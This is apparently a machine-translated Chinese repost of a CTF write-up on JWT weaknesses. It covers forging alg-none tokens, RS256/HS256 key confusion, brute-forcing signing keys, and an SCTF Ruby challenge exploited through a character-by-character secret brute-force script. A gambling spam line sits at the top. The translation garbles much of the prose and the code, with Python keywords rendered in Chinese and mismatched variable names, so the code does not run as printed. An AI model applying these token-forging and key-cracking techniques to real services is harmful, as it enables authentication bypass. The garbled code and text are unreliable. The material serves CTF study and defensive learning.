从SCTF看JWT安全 (附SCTF web writeup)

188体育竞技平台

原文:fz41合天智汇

原始提交活动:

这两天正在玩SCTF,并且有一个与JWT相关的简单知识。现在让我们总结一下与JWT相关的知识。虽然它不是研究的主要内容,但作为基础知识,它仍然需要掌握。

JWT技术简介

1来源

通常有两种方法来验证用户,传统会话身份验证和基于令牌的身份验证。

传统会话身份验证缺陷

传统的会话认证,随着不同客户端用户的增加,独立服务器不能再承载更多用户,此时基于会话认证应用的问题将暴露出来。例如,随着认证用户的增加,服务器的开销将显着增加,这限制了分布式应用程序中负载均衡器的能力,因为它基于用于用户识别的cookie。如果拦截了cookie,则用户将容易受到跨站点请求伪造的攻击。攻击。

基于令牌的认证机制

基于令牌的认证机制类似于http协议。它也是无国籍的。它不需要在服务器上保留用户的身份验证信息或会话信息。这意味着基于令牌认证机制的应用程序不需要考虑用户登录的服务器,这有利于应用程序的扩展。

2个定义

JWT(JSON Web Token)是一个非常轻量级的规范。通过该规范,可以传递可靠的安全信息。 JWT通常用于前后分离。它可以与Restful API一起使用,通常用于构建身份验证机制。

Json Web令牌(JWT),一种基于JSON的开放标准,用于在Web应用程序环境之间实现声明(RFC 7519)。令牌设计紧凑且安全,特别是对于分布式站点。点登录(SSO)方案。 JWT声明通常用于在身份提供者和服务提供者之间传递经过身份验证的用户身份信息,以便从资源服务器获取资源,以及添加一些额外的业务逻辑。声明信息,令牌也可以直接用于身份验证或加密。

3组成

字符串由三部分组成:标题,有效负载和签名。

标题用于描述JWT的最基本信息。使用的签名类似于算法。 {'typ':'JWT','alg':'HS256'}在base64编码后,形成磁头负载。 Payload)也是json的形式。官方定义有以下六个部分{'sub':'1',//JWT的用户是'iss':' 8000/auth/login',//JWT issuer'atat'://iat(发布于):令牌'exp'://exp(expires):令牌已过期'nbf'://nbf(不在之前):在此时间之前无法处理令牌'jti': ''//JWT ID为Web令牌提供唯一标识符}当然,开发人员可以定义他们使用的数据。在对上述json数据库64进行编码之后,形成有效载荷。签名上面的两个编码字符串都与句点相关联。提供密钥(机密)以使用标头指定的算法加密新字符串。此外,还需要base64编码。

将上述三个部分拼接在一起形成一个完整的JWT令牌

可以在上面介绍这么多,我们还是不知道JWT在做什么,稍微介绍一下JWT验证方法,你应该知道JWT的使用

在接收到JWT之后,服务器应用程序首先使用相同的算法重新签名标头和有效载荷的内容。如果服务器应用程序为标头和有效负载签署相同的方式,并发现自己计算的签名与接收的签名不同,则令牌的内容由其他人移动。我们应该拒绝令牌

JWT安全问题分析

以上是JWT的组成,我们的目的是研究它的安全性。由于这是一种验证机制,那么安全问题主要是未经授权的访问,这意味着绕过这种验证机制,其结构已知,数据一般也有本地端。我们唯一不知道的是加密算法的关键。这样,存在一些安全问题。

1将算法修改为无

有两种方法可以修改算法。其中之一是使算法无效。

如果后端支持无算法

标头中的alg字段可以修改为无

从JWT中删除签名数据(只有标题+'。'+有效负载+'。')并将其直接提交给服务器

2修改算法RS256到HS256

RS256是非对称加密算法,HS是对称加密算法

如果jwt的内部函数支持RS256算法,它也支持HS256算法

如果公钥已知,请将算法更改为HS256,然后后端将使用此公钥作为加密密钥

3信息披露

JWT以base64编码传输。虽然密钥不可见,但其数据以明文形式传输。如果传输重要内容,可以通过base64对其进行解码,然后获取重要信息。

4爆破键

原理是如果密钥相对较短,则加密算法是已知的,并且密钥可以通过强力破解获得。

漏洞环境构建

建筑方法

我建立的环境是php7

已安装的作曲家

使用以下命令构建漏洞环境

Git

Cd jwtdemo

Composer安装

Php -S 0.0.0.0: 8000 -t public

然后直接访问

127.0.0.1: 8000/hs256.php

环境已成功构建。

有效载荷如下

Def b64urlencode(data):

返回base64.b64encode(data).replace('+',' - ')。replace('/','_')。replace('=','')

打印b64urlencode('{\'typ \': \'JWT \',''alg \': \'none \'}')+ \

'' + b64urlencode('{\'data \': \'test \'}')+'。'

通过上述代码,可以构造任何没有密钥的paylaod,从而绕过后端的检查,修改RS256的方法与此类似,不再赘述。

相关工具

1JohnTheRipper

爆破JWT时,您可以使用以下工具

使用的方法如下

Git

Cd JohnTheRipper/src

Make -s clean&& make -sj4

jwt.txt

图2c-JWT-裂解

C语言破解工具

如何使用它如下

使

Make OPENSSL=/usr/local/opt/openssl/include OPENSSL_LIB=-L/usr/local/opt/openssl/lib

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE

相关CTF主题摘要

基于这一安全问题,还对CTF进行了多次审查。最近的SCTF还研究了JWT相关的知识点

我从互联网上找到了一些CTF的文章。你可以参考它

1JWT令牌破解旁路

2JWT锻造饼干

3SCTF旗舰店文章

Ruby的网站

扫描目录并在robots.txt中找到源路径有源代码

主要漏洞

得到'/work'做

Islogin

Auth=JWT.decode cookies [: auth],ENV ['SECRET'],true,{algorithm:'HS256'}

Auth=auth [0]

除非params [: SECRET] .nil?

如果ENV ['SECRET']。匹配('#{params [: SECRET] .match(/[0-9a-z] + /)}')

放置ENV ['FLAG']

如果params [: do]=='#{params [: name] [0,7]}正在运行'那么

Auth ['jkl']=auth ['jkl']。to_i + SecureRandom.random_number(10)

Auth=JWT.encode auth,ENV ['SECRET'],'HS256'

Cookies [: auth]=auth

ERB: new('alert('#{params [: name] [0,7]}成功运行!')')。结果

ruby全局变量匹配字符串可以通过添加$来满足长度要求来读取,然后,可以获得密钥

以这种方式

爆破脚本如下

导入请求

dirc='1234567890abcdef'

Url=''

数据={

'名称':'',

'do':'正在运作'

}

sess=requests.session()

sess.headers ['Cookie']='auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiIwZmQxMjUzNC1mMmJjLTRhZTUtOTRhNy1kNmUwZWRjMGJkMzEiLCJqa2wiOjEwN30.iI0fcdikWuFxSxYm9LV1dNjCmmID48QZ0c3w-hhyEnw'

#后半部分

Key=''

对于_范围(100000):

对于我在dic:

j=密钥

j +=i

数据['SECRET']=j

打印(j)的

Res=sess.get(url,data=data)

打印(res.text)

如果j在res.text:

键+=i

打印(键)

键有两个部分,同样的方法可以破解第二部分。

获得密钥然后伪造,有一个易于使用的网站

参考链接

攻击JWT身份验证

什么是JWT - JSON WEB TOKEN

茶:春季安全(3) - JWT验证原则(上)

免责声明:作者的初衷是分享和普及网络知识。如果读者对网络安全行为造成任何伤害,则与和田智慧及原作者无关。这篇文章是原创的。如果您需要转载,请注明出处!